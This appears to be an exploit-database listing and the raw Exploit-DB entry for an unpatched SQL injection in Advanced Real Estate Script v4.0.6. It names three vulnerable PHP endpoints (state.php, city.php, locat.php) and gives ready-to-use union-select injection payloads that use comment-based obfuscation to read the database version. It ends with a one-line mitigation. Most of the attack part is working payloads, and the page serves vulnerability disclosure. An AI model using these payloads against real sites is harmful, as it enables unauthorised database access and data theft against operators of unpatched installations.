header-logo
Suggest Exploit
vendor:
Advanced Real Estate Script
by:
Ihsan Sencan
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Advanced Real Estate Script
Affected Version From: 4.0.6
Affected Version To: 4.0.6
Patch Exists: NO
Related CWE: N/A
CPE: a:phpscriptsmall:advanced_real_estate_script:4.0.6
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Win7 x64, Kali Linux x64
2017

Advanced Real Estate Script v4.0.6 – SQL Injection

An attacker can exploit this vulnerability by sending malicious SQL queries to the vulnerable parameters of the application. For example, an attacker can send -1'+/*!50000union*/+select+1,2,3,4,@@version,6-- -, -1'+/*!50000union*/+select+1,2,3,4,5,@@version,7,8,9-- -, -1'+/*!50000union*/+select+1,2,3,4,5,6,@@version,8-- -, etc. to the vulnerable parameters of the application.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should also be configured to use parameterized queries.
Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Advanced Real Estate Script v4.0.6 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/advanced-real-estate-script/
# Demo: http://www.phprealestatescript.org/advanced_realestate/
# Version: 4.0.6
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/state.php?country=[SQL]
# http://localhost/[PATH]/city.php?city=[SQL]
# http://localhost/[PATH]/locat.php?locat=[SQL]
# For example;
# -1'+/*!50000union*/+select+1,2,3,4,@@version,6-- -
# -1'+/*!50000union*/+select+1,2,3,4,5,@@version,7,8,9-- -
# -1'+/*!50000union*/+select+1,2,3,4,5,6,@@version,8-- -
# Etc... Etc...
# # # # #